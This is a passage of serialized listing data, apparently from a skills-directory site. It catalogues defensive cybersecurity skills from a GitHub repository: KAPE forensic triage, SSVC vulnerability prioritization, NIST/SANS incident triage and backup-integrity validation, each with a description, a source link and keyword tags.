tampering.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[156,157],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[144,159,160,161,28,30,162,32,138,163,164,165,166,167,168,169,170,171,172,173],"backup","recovery","validating backup integrity for recovery","infrastructure","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1078","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":175,"name":176,"nameZh":6,"description":177,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":178,"categories":179,"keywords":181,"publishedAt":41},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[180],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[182,183,184,30,185,186,187,188,189,190,191,192,193,194,195,196,141,197,198,199],"windows","kape","triaging windows with kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","data","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":201,"name":202,"nameZh":6,"description":203,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":204,"categories":205,"keywords":207,"publishedAt":41},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[206],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[208,209,210,30,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226],"vulnerabilities","framework","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","api","prioritization","ssvc","decision-tree",{"skillNo":228,"name":229,"nameZh":6,"description":230,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":231,"categories":232,"keywords":234,"publishedAt":41},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[233],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[29,235,30,236,237,238,239,240,241,242,243,169,244,170,245,246,247,248,249,250],"triaging security incident","siem","file","ioc","soc","NIST-800-61","NIST","severity","edr","execution","analysis","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]